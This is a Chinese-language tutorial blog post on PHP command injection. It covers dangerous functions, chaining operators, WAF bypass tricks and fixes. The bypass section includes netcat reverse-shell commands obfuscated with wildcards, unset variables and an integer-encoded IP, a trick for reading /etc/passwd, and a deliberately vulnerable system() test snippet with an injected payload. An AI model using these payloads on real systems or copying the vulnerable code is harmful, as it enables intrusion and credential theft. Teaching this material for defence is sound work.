zoukankan      html  css  js  c++  java
  • 命令执行漏洞

    命令执行漏洞原理:
    应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

    命令执行漏洞利用条件:

    1. 应用调用执行系统命令的函数
    2. 将用户输入作为系统命令的参数拼接到了命令行中
    3. 没有对用户输入进行过滤或过滤不严

    漏洞分类:

    • 代码层过滤不严

    商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:system("/bin/program --arg $arg");

    • 系统的漏洞造成命令注入

    bash破壳漏洞(CVE-2014-6271)

    • 调用的第三方组件存在代码执行漏洞

    如wordPress中用来处理图片的imageMagick组件
    JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
    ThinkPHP命令执行

    漏洞危害:

    1. 继承Web服务程序的权限去执行系统命令或读写文件
    2. 反弹shell
    3. 控制整个网站甚至服务器
    4. 进一步内网渗透
    5. 等等

    命令拼接符
    |、||、&、&&的区别:
    &:无论左边是false还是true,右边都执行
    &&:具有短路效果,左边是false,右边不执行。
    |:无论左边是false还是true,右边都会执行
    ||:具有短路效果,左边是true,右边不执行。


    代码执行:
    利用系统函数实现命令执行,在php下,允许命令执行的函数有:
    eval()、assert()、preg_replace()、call_user_func()
    如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞

    其他函数
    ob_start()、unserialize()、creat_function()
    、usort()、uasort()、uksort()、
    array_filter()、
    array_reduce()、
    array_map()......

    系统命令执行漏洞
    system()
    exec()
    shell_exec()
    passthru()
    pcntl_exec()
    popen()
    proc_open()
    反引号
    ......

    命令执行WAF绕过技巧
    技巧一:通配符
    ls-l
    使用通配符
    /?in/?s-l

    /???/??t /??c/p???w?
    有时候WAF不允许使用太多的?号
    /?in/cat/?tc/p?sswd

    NC反弹shell:
    nc -e /bin/bash 127.0.0.1 3737
    为了避免符号,可以将IP地址转换成整型。
    127.0.0.1->2130706433

    使用通配符
    root@kali:~#/??n/?c -e/??n/b??h 2130706433 3737

    技巧二:连接符

    技巧三:未初始化的bash变量
    在bash环境中允许我们使用未初始化的bash变量,如何
    $a ,$b,$c
    我们事先并没有定义它们,输出看看:
    root@kali:~# echo $a
    root@kali:~# echo $b
    root@kali:~# echo $c
    root@kali:~#
    未初始化的变量值都是null

    读取/etc/passwd:
    cat$a /etc$a/passwd$a


    测试WAF
    测试代码:
    <?php
    echo "OK";
    system('dig'.$_GET['host']);
    ?>

    www.baidu.com;$s/bin$s/which$s nc$s
    反弹shell:
    /bin$s/nc$s -e/bin$s/bash$s 2130706433 3737

    漏洞修复:

    1. 尽量少用执行命令的函数或者直接禁用
    2. 参数值尽量使用引号包括
    3. 在使用动态函数之前,确保使用的函数是指定的函数之一
    4. 在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
    5. 对PHP语言来说,不能完全控制的危险函数最好不要使用
  • 相关阅读:
    基于Docker搭建分布式消息队列Kafka
    [转]JAVA 开发环境设置(简单易懂)
    微信分享地址参数记录(出于防止微信刷票而产生的学习记录)
    万网开启二级站点【原创】
    PHP
    [转]什么是RSS
    html页面缓存(浏览器)
    [从jQuery看JavaScript]-匿名函数与闭包(Anonymous Function and Closure)【转】
    Jquery中$.get(),$.post(),$.ajax(),$.getJSON(),$.getScript(),$.load()的用法总结【转】
    JQuery中$.load()方法的用法和分析【转】
  • 原文地址:https://www.cnblogs.com/happystudyhuan/p/11458455.html
Copyright © 2011-2022 走看看